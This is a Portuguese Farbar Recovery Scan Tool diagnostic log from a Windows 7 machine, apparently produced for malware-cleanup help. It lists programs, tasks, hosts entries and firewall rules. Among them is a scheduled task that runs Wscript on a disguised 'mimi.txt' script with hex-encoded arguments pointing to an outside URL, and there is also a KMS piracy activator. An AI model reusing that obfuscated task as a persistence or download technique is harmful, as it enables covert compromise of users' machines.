Resultado do exame Adicional Farbar Recovery Scan Tool (x64) Versão: 01-03-2017
Executado por laboratorio (03-03-2017 10:56:07)
Executando a partir de C:\Users\laboratorio\Desktop
Windows 7 Ultimate Service Pack 1 (X64) (2013-03-13 15:34:04)
Modo da Inicialização: Normal
==========================================================


==================== Contas: =============================

Administrador (S-1-5-21-1582417102-4226263661-3836311527-500 - Administrator - Disabled)
Convidado (S-1-5-21-1582417102-4226263661-3836311527-501 - Limited - Enabled)
Fábrica (S-1-5-21-1582417102-4226263661-3836311527-1002 - Administrator - Enabled) => C:\Users\Fábrica

==================== Central de Segurança ========================

(Se uma entrada for incluída na fixlist, será removida.)

AV: Avast Antivirus (Enabled - Up to date) {17AD7D40-BA12-9C46-7131-94903A54AD8B}
AS: Windows Defender (Disabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}
AS: Avast Antivirus (Enabled - Up to date) {ACCC9CA4-9C28-93C8-4B81-AFE241D3E736}

==================== Programas Instalados ======================

(Somente os programas adwares com a indicação "Oculto" podem ser adicionados à fixlist para desocultá-los. Os programas adwares devem ser desinstalados manualmente.)

64 Bit HP CIO Components Installer (Version: 6.2.1 - Hewlett-Packard) Hidden
Adobe Flash Player 24 NPAPI (HKLM-x32\...\Adobe Flash Player NPAPI) (Version: 24.0.0.221 - Adobe Systems Incorporated)
Adobe Photoshop CS6 (HKLM-x32\...\{74EB3499-8B95-4B5C-96EB-7B342F3FD0C6}) (Version: 13.0 - Adobe Systems Incorporated)
Adobe Reader XI (11.0.03) - Português (HKLM-x32\...\{AC76BA86-7AD7-1046-7B44-AB0000000001}) (Version: 11.0.03 - Adobe Systems Incorporated)
Avast Internet Security (HKLM-x32\...\Avast) (Version: 12.3.2280 - AVAST Software)
BDE 5.2 (HKLM-x32\...\BDE_is1) (Version: - )
BufferChm (x32 Version: 140.0.212.000 - Hewlett-Packard) Hidden
ByteFence Anti-Malware (HKLM-x32\...\ByteFence) (Version: 2.10.0.22 - Byte Technologies LLC) <==== ATENÇÃO
CCleaner (HKLM\...\CCleaner) (Version: 4.19 - Piriform)
Chromium (HKLM-x32\...\{997A71BA-C9FA-A03A-787A-D0BAA8FA033A}) (Version: - )
Copy (x32 Version: 140.0.212.000 - Hewlett-Packard) Hidden
Desinstalar impressora EPSON TX320F Series (HKLM\...\EPSON TX320F Series) (Version: - SEIKO EPSON Corporation)
Destinations (x32 Version: 140.0.77.000 - Hewlett-Packard) Hidden
DeviceDiscovery (x32 Version: 140.0.212.000 - Hewlett-Packard) Hidden
DJ_AIO_05_F4400_Software_Min (x32 Version: 140.0.690.000 - Hewlett-Packard) Hidden
EPSON L355 Series Printer Uninstall (HKLM\...\EPSON L355 Series) (Version: - SEIKO EPSON Corporation)
EPSON L365 Series Printer Uninstall (HKLM\...\EPSON L365 Series) (Version: - SEIKO EPSON Corporation)
EPSON Scan (HKLM-x32\...\EPSON Scanner) (Version: - Seiko Epson Corporation)
Epson Software Updater (HKLM-x32\...\{7BAC3F7A-B963-468E-982E-B5608A87408D}) (Version: 4.4.4 - SEIKO EPSON CORPORATION)
F4400 (x32 Version: 140.0.696.000 - Hewlett-Packard) Hidden
GBBD Caixa Economica Federal (HKLM-x32\...\{5d01f486-f32d-462e-8830-cc1d116e8ece}_is1) (Version: 3.12.0.2 - )
Google Chrome (HKLM-x32\...\Google Chrome) (Version: 56.0.2924.87 - Google Inc.)
Google Update Helper (x32 Version: 1.3.25.11 - Google Inc.) Hidden
Google Update Helper (x32 Version: 1.3.32.7 - Google Inc.) Hidden
GPBaseService2 (x32 Version: 140.0.211.000 - Hewlett-Packard) Hidden
HP Customer Participation Program 14.0 (HKLM\...\HPExtendedCapabilities) (Version: 14.0 - HP)
HP Deskjet F4400 Printer Driver Software 14.0 Rel. 5 (HKLM\...\{A800FCC9-8E1E-4D84-9CED-47870701FDE1}) (Version: 14.0 - HP)
HP Imaging Device Functions 14.0 (HKLM\...\HP Imaging Device Functions) (Version: 14.0 - HP)
HP Smart Web Printing 4.60 (HKLM\...\HP Smart Web Printing) (Version: 4.60 - HP)
HP Solution Center 14.0 (HKLM\...\HP Solution Center & Imaging Support Tools) (Version: 14.0 - HP)
HP Support Solutions Framework (HKLM-x32\...\{89A620D5-6D9C-4C31-994D-9FAEE2987E2A}) (Version: 12.5.32.203 - HP)
HP Update (HKLM-x32\...\{912D30CF-F39E-4B31-AD9A-123C6B794EE2}) (Version: 5.005.002.002 - Hewlett-Packard)
HPPhotoGadget (x32 Version: 140.0.524.000 - Hewlett-Packard) Hidden
HPProductAssistant (x32 Version: 140.0.212.000 - Hewlett-Packard) Hidden
HPSSupply (x32 Version: 140.0.211.000 - Hewlett-Packard) Hidden
Intel(R) Graphics Media Accelerator Driver (HKLM\...\HDMI) (Version: 8.15.10.1930 - Intel Corporation)
Java 8 Update 25 (HKLM-x32\...\{26A24AE4-039D-4CA4-87B4-2F83218025F0}) (Version: 8.0.250 - Oracle Corporation)
MarketResearch (x32 Version: 140.0.212.000 - Hewlett-Packard) Hidden
Microsoft .NET Framework 4.5.2 (HKLM\...\{92FB6C44-E685-45AD-9B20-CADF4CABA132} - 1033) (Version: 4.5.51209 - Microsoft Corporation)
Microsoft Office Professional Plus 2010 (HKLM-x32\...\Office14.PROPLUS) (Version: 14.0.7015.1000 - Microsoft Corporation)
Microsoft Visual C++ 2005 Redistributable (HKLM-x32\...\{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}) (Version: 8.0.61001 - Microsoft Corporation)
Microsoft Visual C++ 2005 Redistributable (x64) (HKLM\...\{ad8a2fa1-06e7-4b0d-927d-6e54b3d31028}) (Version: 8.0.61000 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.4148 (HKLM\...\{4B6C7001-C7D6-3710-913E-5BC23FCE91E6}) (Version: 9.0.30729.4148 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 (HKLM\...\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}) (Version: 9.0.30729.6161 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.4148 (HKLM-x32\...\{1F1C2DFC-2D24-3E06-BCB8-725134ADF989}) (Version: 9.0.30729.4148 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (HKLM-x32\...\{9BE518E6-ECC6-35A9-88E4-87755C07200F}) (Version: 9.0.30729.6161 - Microsoft Corporation)
Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 (HKLM\...\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}) (Version: 10.0.40219 - Microsoft Corporation)
Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (HKLM-x32\...\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}) (Version: 10.0.40219 - Microsoft Corporation)
Microsoft Visual C++ 2015 Redistributable (x86) - 14.0.24215 (HKLM-x32\...\{e2803110-78b3-4664-a479-3611a381656a}) (Version: 14.0.24215.1 - Microsoft Corporation)
Microsoft Visual Studio 2010 Tools for Office Runtime (x64) (HKLM\...\Microsoft Visual Studio 2010 Tools for Office Runtime (x64)) (Version: 10.0.50903 - Microsoft Corporation)
Módulo PDV 3.7.0 (HKLM-x32\...\PDV_is1) (Version: - SICNET Tecnologia de Soluções Ltda)
Mozilla Firefox 43.0.1 (x86 pt-BR) (HKLM-x32\...\Mozilla Firefox 43.0.1 (x86 pt-BR)) (Version: 43.0.1 - Mozilla)
Mozilla Maintenance Service (HKLM-x32\...\MozillaMaintenanceService) (Version: 43.0.1.5828 - Mozilla)
MSXML 4.0 SP2 (KB954430) (HKLM-x32\...\{86493ADD-824D-4B8E-BD72-8C5DCDC52A71}) (Version: 4.20.9870.0 - Microsoft Corporation)
MSXML 4.0 SP2 (KB973688) (HKLM-x32\...\{F662A8E6-F4DC-41A2-901E-8C11F044BDEC}) (Version: 4.20.9876.0 - Microsoft Corporation)
Pacote de Idiomas do Microsoft Visual Studio 2010 Tools for Office Runtime (x64) - Português (Brasil) (HKLM\...\Microsoft Visual Studio 2010 Tools for Office Runtime (x64) Language Pack - PTB) (Version: 10.0.50903 - Microsoft Corporation)
Pacote de módulos adicionais SICWEB (HKLM-x32\...\SICWEB_is1) (Version: - SICNET Tecnologia de Soluções Ltda)
Pacote SICWEB (instalação do servidor) (HKLM-x32\...\SICWEBSERVER_is1) (Version: - SICNET Tecnologia de Soluções Ltda.)
PDF Settings CS6 (x32 Version: 11.0 - Adobe Systems Incorporated) Hidden
SafeZone Stable 1.51.2220.62 (x32 Version: 1.51.2220.62 - Avast Software) Hidden
Scan (x32 Version: 140.0.80.000 - Hewlett-Packard) Hidden
ScreenShot (HKLM-x32\...\ScreenShot) (Version: 2.0.1 - Filseclab Corporation)
Service Pack 2 for Microsoft Office 2010 (KB2687455) 32-Bit Edition (HKLM-x32\...\{90140000-0011-0000-0000-0000000FF1CE}_Office14.PROPLUS_{DE28B448-32E8-4E8F-84F0-A52B21A49B5B}) (Version: - Microsoft)
Shop for HP Supplies (HKLM\...\Shop for HP Supplies) (Version: 14.0 - HP)
Skype Click to Call (HKLM-x32\...\{873F8E7C-10E6-449F-BD7E-5FBA7C8E1C9B}) (Version: 8.5.0.9167 - Microsoft Corporation)
Skype™ 7.33 (HKLM-x32\...\{3B7E914A-93D5-4A29-92BB-AF8C3F66C431}) (Version: 7.33.104 - Skype Technologies S.A.)
SmartWebPrinting (x32 Version: 140.0.186.000 - Hewlett-Packard) Hidden
Software SIC shareware (HKLM-x32\...\SIC_is1) (Version: - SICNET Tecnologia de Soluções Ltda.)
SolutionCenter (x32 Version: 140.0.213.000 - Hewlett-Packard) Hidden
Status (x32 Version: 140.0.212.000 - Hewlett-Packard) Hidden
TeamViewer 9 (HKLM-x32\...\TeamViewer 9) (Version: 9.0.41110 - TeamViewer)
Toolbox (x32 Version: 140.0.428.000 - Hewlett-Packard) Hidden
TrayApp (x32 Version: 140.0.212.000 - Hewlett-Packard) Hidden
Warsaw 1.12.3.5 64 bits (HKLM\...\{20E60725-16C8-4FB9-8BC2-AF92C5F8D06D}_is1) (Version: 1.12.3.5 - GAS Tecnologia)
WebReg (x32 Version: 140.0.212.017 - Hewlett-Packard) Hidden
WinRAR 5.31 (32-bit) (HKLM-x32\...\WinRAR archiver) (Version: 5.31.0 - win.rar GmbH)
Zebra Font Downloader (HKLM-x32\...\Zebra Font Downloader_is1) (Version: - Zebra Technologies Corporation)
Zebra Setup Utilities (HKLM-x32\...\Zebra Setup Utilities) (Version: 1.1.8.986 - Zebra Technologies)
Zebra Setup Utilities (x32 Version: 1.1.8.986 - Zebra Technologies) Hidden
ZebraDesigner 2 (HKLM-x32\...\ZebraDesigner 2) (Version: 2.2.3.4266 - Zebra Technologies Corporation)
ZebraDesigner 2 (x32 Version: 2.2.3.4266 - Zebra Technologies Corporation) Hidden

==================== Exame Personalizado CLSID (Whitelisted): ==========================

(Se uma entrada for incluída na fixlist, será removida do Registro. O arquivo não será movido, a menos que seja colocado separadamente.)


==================== Tarefas Agendadas (Whitelisted) =============

(Se uma entrada for incluída na fixlist, será removida do Registro. O arquivo não será movido, a menos que seja colocado separadamente.)

Task: {09CCF1E8-6FCE-4A87-8D67-6512284B33A3} - System32\Tasks\AVAST Software\Avast settings backup => C:\Program Files\Common Files\AV\avast! Antivirus\backup.exe [2017-01-30] (AVAST Software)
Task: {0DAEB84F-2029-48EF-B50D-AF8386EA68A8} - System32\Tasks\ByteFence => C:\Program Files\ByteFence\ByteFence.exe [2017-01-18] (Byte Technologies LLC) <==== ATENÇÃO
Task: {19420A96-9B6E-4F78-AA6D-B8976BF60FDA} - System32\Tasks\GoogleUpdateTaskMachineUA => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe [2016-02-19] (Google Inc.)
Task: {2945306F-4483-43F6-8698-C1FF410686D8} - System32\Tasks\ByteFence Scan => C:\Program Files\ByteFence\ByteFence.exe [2017-01-18] (Byte Technologies LLC) <==== ATENÇÃO
Task: {4A5496A1-3533-4A9E-B5C0-60C2856D03FC} - System32\Tasks\CCleanerSkipUAC => C:\Program Files\CCleaner\CCleaner.exe [2014-10-23] (Piriform Ltd)
Task: {70FAA2EF-C039-414B-BB21-9904FA4EE65E} - System32\Tasks\Yahoo! Powered fisas => Wscript.exe "C:\ProgramData\{44AD81CE-CEEF-0B08-4829-954AD26B1E84}\mimi.txt" "68747470733a2f2f7761676e672e636f6d" "433a5c50726f6772616d446174615c7b34344144383143452d434545462d304230382d343832392d3935344144323642314538347d5c6e6f6461736f" "433a5c50726f6772616d446174615c7b34344144383143452d434545462d304230382d3438 (a entrada de dados tem 80 mais caracteres).
Task: {71E85A43-931E-4B81-9BCE-41D39C229D4A} - System32\Tasks\Hewlett-Packard\HP Support Assistant\HP Support Solutions Framework Updater => C:\Program Files (x86)\Hewlett-Packard\HP Support Solutions\Modules\HPSSFUpdater.exe [2016-12-07] (HP Inc.)
Task: {A9F4489B-7C0D-4364-91B3-52299F89F7E3} - System32\Tasks\SafeZone scheduled Autoupdate 1459356695 => C:\Program Files\AVAST Software\SZBrowser\launcher.exe [2016-09-06] (Avast Software)
Task: {ACDE263A-C2D8-45F8-A0DD-CC513B9CB75E} - System32\Tasks\GoogleUpdateTaskMachineCore => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe [2016-02-19] (Google Inc.)
Task: {C1C80888-16FE-4160-8299-7397D9D66715} - System32\Tasks\{E1B8F9BC-E948-4CC1-826D-F259EFBE5461} => Chrome.exe hxxp://ui.skype.com/ui/0/7.22.0.108/pt/abandoninstall?page=tsProgressBar
Task: {C51588EA-9839-4E49-A843-6C80000B6E37} - System32\Tasks\Hewlett-Packard\HP Support Assistant\HP Support Solutions Framework Report => C:\Program Files (x86)\Hewlett-Packard\HP Support Solutions\Modules\HPSFReport.exe [2016-12-21] (HP Inc.)
Task: {D97EF8BA-319F-4874-B0F9-E0844364D79D} - System32\Tasks\Adobe Flash Player Updater => C:\Windows\SysWOW64\Macromed\Flash\FlashPlayerUpdateService.exe [2017-02-14] (Adobe Systems Incorporated)
Task: {E5569189-36BD-41A2-85B0-BBC3E377A4F9} - System32\Tasks\avast! Emergency Update => C:\Program Files\AVAST Software\Avast\AvastEmUpdate.exe [2016-09-09] (AVAST Software)
Task: {F1138DCF-2FC6-43D5-83D6-3A0FD395A6E3} - System32\Tasks\AutoKMS => C:\Windows\AutoKMS.exe [2016-09-26] ()

(Se uma entrada for incluída na fixlist, o arquivo da tarefa (.job) será movido. O arquivo que está sendo executado pela tarefa não será movido.)

Task: C:\Windows\Tasks\Adobe Flash Player Updater.job => C:\Windows\SysWOW64\Macromed\Flash\FlashPlayerUpdateService.exe
Task: C:\Windows\Tasks\AutoKMS.job => C:\Windows\AutoKMS.execamila.gis
Task: C:\Windows\Tasks\Yahoo! Powered fisas.job => Wscript.exe C:\ProgramData\{44AD81CE-CEEF-0B08-4829-954AD26B1E84}\mimi.txt <==== ATENÇÃO

==================== Atalhos =============================

(As entradas podem ser listadas para serem restauradas ou removidas.)

==================== Módulos Carregados (Whitelisted) ==============

2017-03-03 09:47 - 2017-03-03 09:47 - 00304456 _____ () C:\Program Files\ByteFence\rtop\bin\rtop_svc.exe
2017-03-03 09:47 - 2017-03-03 09:47 - 00619848 _____ () C:\Program Files\ByteFence\rtop\bin\rtop_bg.exe
2016-05-25 09:38 - 2016-05-25 09:38 - 00129304 _____ () C:\Program Files\ByteFence\x64\lz4_x64.dll
2016-09-09 07:52 - 2016-09-09 07:52 - 00169064 _____ () C:\Program Files\AVAST Software\Avast\JsonRpcServer.dll
2017-03-03 07:51 - 2017-03-03 07:51 - 05989584 _____ () C:\Program Files\AVAST Software\Avast\defs\17030300\algo.dll
2016-09-09 07:52 - 2016-09-09 07:52 - 00482928 _____ () C:\Program Files\AVAST Software\Avast\ffl2.dll
2001-05-11 00:00 - 2001-05-11 00:00 - 00589312 _____ () C:\Program Files (x86)\Common Files\Borland Shared\BDE\IDAPI32.DLL
2001-05-11 00:00 - 2001-05-11 00:00 - 00116736 _____ () C:\Program Files (x86)\Common Files\Borland Shared\BDE\IDR20009.DLL
2001-05-11 00:00 - 2001-05-11 00:00 - 00101376 _____ () C:\Program Files (x86)\Common Files\Borland Shared\BDE\BANTAM.DLL
2001-05-11 00:00 - 2001-05-11 00:00 - 00255488 _____ () C:\Program Files (x86)\Common Files\Borland Shared\BDE\IDPDX32.DLL
2016-07-04 07:57 - 2016-07-04 07:57 - 48936448 _____ () C:\Program Files\AVAST Software\Avast\libcef.dll
2013-09-05 00:14 - 2013-09-05 00:14 - 04300456 _____ () C:\Program Files (x86)\Common Files\microsoft shared\OFFICE14\Cultures\OFFICE.ODF
2016-11-09 12:38 - 2016-09-06 12:00 - 05197312 _____ () C:\Users\laboratorio\AppData\Local\Google\Chrome\User Data\SwiftShader\3.3.0.1\libglesv2.dll
2016-11-09 12:38 - 2016-09-06 12:00 - 00147456 _____ () C:\Users\laboratorio\AppData\Local\Google\Chrome\User Data\SwiftShader\3.3.0.1\libegl.dll

==================== Alternate Data Streams (Whitelisted) =========

(Se uma entrada for incluída na fixlist, somente o ADS será removido.)

AlternateDataStreams: C:\Windows:nlsPreferences [0]
AlternateDataStreams: C:\Program Files (x86)\GbPlugin:IncompleteStartProcessProtection.cnt [10]
AlternateDataStreams: C:\Program Files (x86)\GbPlugin:u6eBQrM0Z2K3FKLVBMG8dY3IkKT2rqFO+Sf68h8fDg== [32]
AlternateDataStreams: C:\Windows\System32:4A245B73_Uni.gbp [2]
AlternateDataStreams: C:\Windows\system32\Drivers\gbpddfac64.sys:X5ZN8aGvT4 [1270]
AlternateDataStreams: C:\Windows\system32\Drivers\gbpddreg64.sys:X5ZN8aGvT4 [686]
AlternateDataStreams: C:\Windows\system32\Drivers\wsddfac.sys:X5ZN8aGXs4 [1198]

==================== Modo de Segurança (Whitelisted) ===================

(Se uma entrada for incluída na fixlist, será removida do Registro. O valor "AlternateShell" será restaurado.)


==================== Associação (Whitelisted) ===============

(Se uma entrada for incluída na fixlist, o ítem no Registro será restaurado para o padrão ou removido.)


==================== Internet Explorer confiável/restrito ===============

(Se uma entrada for incluída na fixlist, será removida do Registro.)

IE trusted site: HKU\S-1-5-21-831120009-1440889386-3304580461-1185\...\itau.com.br -> hxxps://bankline.itau.com.br
IE trusted site: HKU\S-1-5-21-831120009-1440889386-3304580461-1185\...\itaupersonnalite.com.br -> hxxp://www.itaupersonnalite.com.br

==================== Hosts Conteúdo: ==========================

(Se necessário, a diretiva Hosts: pode ser incluída na fixlist para redefinir o Hosts.)

2009-07-13 23:34 - 2017-03-03 10:25 - 00002072 ____A C:\Windows\system32\Drivers\etc\hosts

23.13.171.66 guardiao.itau.com.br # GbPlugin0.0.0.0 0.0.0.0 # fix for traceroute and netstat display anomaly
0.0.0.0 tracking.opencandy.com.s3.amazonaws.com
0.0.0.0 media.opencandy.com
0.0.0.0 cdn.opencandy.com
0.0.0.0 tracking.opencandy.com
0.0.0.0 api.opencandy.com
0.0.0.0 api.recommendedsw.com
0.0.0.0 installer.betterinstaller.com
0.0.0.0 installer.filebulldog.com
0.0.0.0 d3oxtn1x3b8d7i.cloudfront.net
0.0.0.0 inno.bisrv.com
0.0.0.0 nsis.bisrv.com
0.0.0.0 cdn.file2desktop.com
0.0.0.0 cdn.goateastcach.us
0.0.0.0 cdn.guttastatdk.us
0.0.0.0 cdn.inskinmedia.com
0.0.0.0 cdn.insta.oibundles2.com
0.0.0.0 cdn.insta.playbryte.com
0.0.0.0 cdn.llogetfastcach.us
0.0.0.0 cdn.montiera.com
0.0.0.0 cdn.msdwnld.com
0.0.0.0 cdn.mypcbackup.com
0.0.0.0 cdn.ppdownload.com
0.0.0.0 cdn.riceateastcach.us
0.0.0.0 cdn.shyapotato.us
0.0.0.0 cdn.solimba.com
0.0.0.0 cdn.tuto4pc.com
0.0.0.0 cdn.appround.biz
0.0.0.0 cdn.bigspeedpro.com
0.0.0.0 cdn.bispd.com

Existem ainda 4 mais linhas.


==================== Outras Áreas ============================

(Atualmente não há nenhuma correção automática para esta seção.)

HKU\S-1-5-21-831120009-1440889386-3304580461-1185\Control Panel\Desktop\\Wallpaper -> C:\Users\laboratorio\AppData\Roaming\Microsoft\Windows\Themes\TranscodedWallpaper.jpg
DNS Servers: 192.168.0.200 - 8.8.8.8
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System => (ConsentPromptBehaviorAdmin: 5) (ConsentPromptBehaviorUser: 3) (EnableLUA: 1)
Firewall do Windows está habilitado.

==================== MSCONFIG/TASK MANAGER ítens desabilitados ==

MSCONFIG\Services: gupdate => 2
MSCONFIG\Services: gupdatem => 3
MSCONFIG\startupreg: Adobe ARM => "C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARM.exe"
MSCONFIG\startupreg: CCleaner Monitoring => "C:\Program Files\CCleaner\CCleaner64.exe" /MONITOR

==================== Regras do Firewall (Whitelisted) ===============

(Se uma entrada for incluída na fixlist, será removida do Registro. O arquivo não será movido, a menos que seja colocado separadamente.)

FirewallRules: [TCP Query User{9C7C1B19-8924-4ED6-9F2D-6CC970C15756}\\server\centro tecnico\skype\phone\skype.exe] => (Block) \\server\centro tecnico\skype\phone\skype.exe
FirewallRules: [UDP Query User{53E3DFAE-FD28-4CF7-9B72-E9BA82A4CD27}\\server\centro tecnico\skype\phone\skype.exe] => (Block) \\server\centro tecnico\skype\phone\skype.exe
FirewallRules: [TCP Query User{29C0EE12-49A8-4691-904A-A4034ED0C127}C:\users\dayane\desktop\skype.exe] => (Block) C:\users\dayane\desktop\skype.exe
FirewallRules: [UDP Query User{3B8461D2-0A40-4A6E-90A0-BABABF92618B}C:\users\dayane\desktop\skype.exe] => (Block) C:\users\dayane\desktop\skype.exe
FirewallRules: [TCP Query User{C547EAB0-B9F8-46F2-97DB-99D5B4D3934A}C:\users\iuri\desktop\skype.exe] => (Allow) C:\users\iuri\desktop\skype.exe
FirewallRules: [UDP Query User{4B7F4D73-ED24-4FC6-A3B0-3683E90CA86A}C:\users\iuri\desktop\skype.exe] => (Allow) C:\users\iuri\desktop\skype.exe
FirewallRules: [{E4AC31F5-4C08-4CA6-AED8-2CC62248EFE0}] => (Allow) C:\Program Files (x86)\TeamViewer\Version9\TeamViewer.exe
FirewallRules: [{C21B291E-D87C-4BD5-903D-52C191D5A879}] => (Allow) C:\Program Files (x86)\TeamViewer\Version9\TeamViewer.exe
FirewallRules: [{BB59A0E0-7768-4E53-9992-347085BB6F6F}] => (Allow) C:\Program Files (x86)\TeamViewer\Version9\TeamViewer_Service.exe
FirewallRules: [{EBD04F08-17F2-46E9-99B5-EBEB34394F85}] => (Allow) C:\Program Files (x86)\TeamViewer\Version9\TeamViewer_Service.exe
FirewallRules: [TCP Query User{FFE7093C-4C2E-41A4-99EA-D5F5DB66038E}C:\program files (x86)\common files\sicnet\sicnet.servidor.exe] => (Allow) C:\program files (x86)\common files\sicnet\sicnet.servidor.exe
FirewallRules: [UDP Query User{0C82F93E-F497-4CB8-8EEE-D6E8776266FE}C:\program files (x86)\common files\sicnet\sicnet.servidor.exe] => (Allow) C:\program files (x86)\common files\sicnet\sicnet.servidor.exe
FirewallRules: [TCP Query User{34F0BA54-81EA-406F-9A43-5EE4873977E8}C:\program files (x86)\common files\sicnet\sicnet.servidor.exe] => (Allow) C:\program files (x86)\common files\sicnet\sicnet.servidor.exe
FirewallRules: [UDP Query User{1481F7BC-0F16-4E01-BEE3-96738F4D9BF9}C:\program files (x86)\common files\sicnet\sicnet.servidor.exe] => (Allow) C:\program files (x86)\common files\sicnet\sicnet.servidor.exe
FirewallRules: [TCP Query User{C07A4F6F-1229-4B71-A3B4-7AF5AFB0C76A}C:\program files (x86)\common files\sicnet\sicnet.servidor.exe] => (Block) C:\program files (x86)\common files\sicnet\sicnet.servidor.exe
FirewallRules: [UDP Query User{A15A794B-ED3B-43C3-A37F-58A433C8FBF9}C:\program files (x86)\common files\sicnet\sicnet.servidor.exe] => (Block) C:\program files (x86)\common files\sicnet\sicnet.servidor.exe
FirewallRules: [{03CFF94D-AC4E-46F8-9567-6B2E67E3F907}] => (Allow) C:\Program Files (x86)\Mozilla Firefox\firefox.exe
FirewallRules: [{8D4DDF66-2546-4501-83DC-FD95E6F5DE16}] => (Allow) C:\Program Files (x86)\Mozilla Firefox\firefox.exe
FirewallRules: [{3CA09A79-4F2D-447F-92D2-2732C8E1A166}] => (Allow) C:\Program Files (x86)\HP\Digital Imaging\bin\hpqtra08.exe
FirewallRules: [{BA56F727-A5DF-4D86-B209-B23FA95F77A8}] => (Allow) C:\Program Files (x86)\HP\Digital Imaging\bin\hposid01.exe
FirewallRules: [{06295791-21DB-4712-8B7A-7476271A6FD9}] => (Allow) C:\Program Files (x86)\HP\Digital Imaging\bin\hpqkygrp.exe
FirewallRules: [{AD9C701F-E809-4764-BF11-C41AF99801E0}] => (Allow) C:\Program Files (x86)\HP\Digital Imaging\bin\hpfccopy.exe
FirewallRules: [{53B28DE8-70B1-4FA0-9915-D5CF310FD172}] => (Allow) C:\Program Files (x86)\HP\Digital Imaging\bin\hpoews01.exe
FirewallRules: [{206A1CAA-F339-43A1-9DF9-3ADD23DE071D}] => (Allow) C:\Program Files (x86)\HP\Digital Imaging\bin\hpiscnapp.exe
FirewallRules: [{8A8A3746-47EF-4D19-8C61-BB116751E3F6}] => (Allow) C:\Program Files (x86)\HP\Digital Imaging\bin\hpqgplgtupl.exe
FirewallRules: [{BE919915-9665-469E-9B44-6A09F4729F22}] => (Allow) C:\Program Files (x86)\HP\Digital Imaging\bin\hpqgpc01.exe
FirewallRules: [{3B56C4C7-1BFC-415F-A094-5B62EB0247B4}] => (Allow) C:\Program Files (x86)\HP\Digital Imaging\bin\hpqusgm.exe
FirewallRules: [{D6458C00-D573-4E13-8A62-FD7FD730F513}] => (Allow) C:\Program Files (x86)\HP\Digital Imaging\bin\hpqusgh.exe
FirewallRules: [{224891AF-6CBC-4864-8F72-1E9F6351A67F}] => (Allow) C:\Program Files (x86)\HP\hp software update\hpwucli.exe
FirewallRules: [{D23E7FB8-33D1-4E24-B76B-F0E81285F66D}] => (Allow) C:\Program Files (x86)\HP\digital imaging\smart web printing\smartwebprintexe.exe
FirewallRules: [{7D84A9FC-791C-40A3-B6CB-6434FD38BD2E}] => (Allow) C:\Program Files (x86)\HP\Digital Imaging\bin\hpqste08.exe
FirewallRules: [{A73DD211-30E5-4DCB-A6DB-92611CD35522}] => (Allow) C:\Program Files (x86)\HP\Digital Imaging\bin\hpqcopy2.exe
FirewallRules: [{DFA02A6D-D4D2-4146-AA90-903D20ED47FB}] => (Allow) C:\Users\camila.gisele\AppData\Local\Chromium\Application\chrome.exe
FirewallRules: [{DA6577F4-54C8-44EE-B01B-808DBEFC7172}] => (Allow) C:\Program Files\Diebold\Warsaw\core.exe
FirewallRules: [TCP Query User{E141D741-D51E-4D83-954B-BC9BE6AE6637}C:\windows\kmsemulator.exe] => (Allow) C:\windows\kmsemulator.exe
FirewallRules: [UDP Query User{ABFAF907-A58C-4AA5-845C-C43DBED970B2}C:\windows\kmsemulator.exe] => (Allow) C:\windows\kmsemulator.exe
FirewallRules: [{A908BD82-2D3C-413F-B8FF-D79E595A3639}] => (Allow) C:\Program Files (x86)\TeamViewer\Version9\TeamViewer.exe
FirewallRules: [{BEFF76B1-4426-4988-82EA-3684FB96B8E4}] => (Allow) C:\Program Files (x86)\TeamViewer\Version9\TeamViewer.exe
FirewallRules: [{D32ECC2D-67F7-47C4-8465-F41334B07BB5}] => (Allow) C:\Program Files (x86)\TeamViewer\Version9\TeamViewer_Service.exe
FirewallRules: [{A6C1C00A-2EBC-499F-A2D8-EF79A2040866}] => (Allow) C:\Program Files (x86)\TeamViewer\Version9\TeamViewer_Service.exe
FirewallRules: [{C8327C7E-0FE7-45E7-8B56-C9A0CAA52708}] => (Allow) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
FirewallRules: [{E053C9D8-0BC4-4ECD-A61B-00F3B9084602}] => (Allow) C:\Users\laboratorio\AppData\Local\Chromium\Application\chrome.exe
FirewallRules: [{F50E60C5-E130-43D4-8A27-D5E37620F4C4}] => (Allow) C:\Program Files (x86)\Skype\Phone\Skype.exe

==================== Pontos de Restauração =========================

07-11-2016 11:48:38 Ponto de Verificação Agendado
21-11-2016 07:31:12 Ponto de Verificação Agendado
23-11-2016 06:19:22 ASU_MSI_TRAN
12-12-2016 08:22:04 Installed Epson Software Updater
16-01-2017 05:54:12 ASU_MSI_TRAN
03-03-2017 09:58:25 Microsoft Visual C++ 2015 Redistributable (x86) - 14.0.24215
03-03-2017 10:02:52 Removed Skype™ 7.33
03-03-2017 10:11:23 Microsoft Visual C++ 2015 Redistributable (x86) - 14.0.24215
03-03-2017 10:29:28 Windows Update

==================== Dispositivos Apresentando Falhas No Gerenciador =============

Name: Remote Desktop Device Redirector Bus
Description: Remote Desktop Device Redirector Bus
Class Guid: {4d36e97d-e325-11ce-bfc1-08002be10318}
Manufacturer: Microsoft
Service: rdpbus
Problem: : Windows cannot load the device driver for this hardware. The driver may be corrupted or missing. (Code 39)
Resolution: Reasons for this error include a driver that is not present; a binary file that is corrupt; a file I/O problem, or a driver that references an entry point in another binary file that could not be loaded.
Uninstall the driver, and then click "Scan for hardware changes" to reinstall or upgrade the driver.


==================== Erros no Log de eventos: =========================

Erros em Aplicativos:
==================
Error: (03/03/2017 08:01:04 AM) (Source: System Restore) (EventID: 8193) (User: )
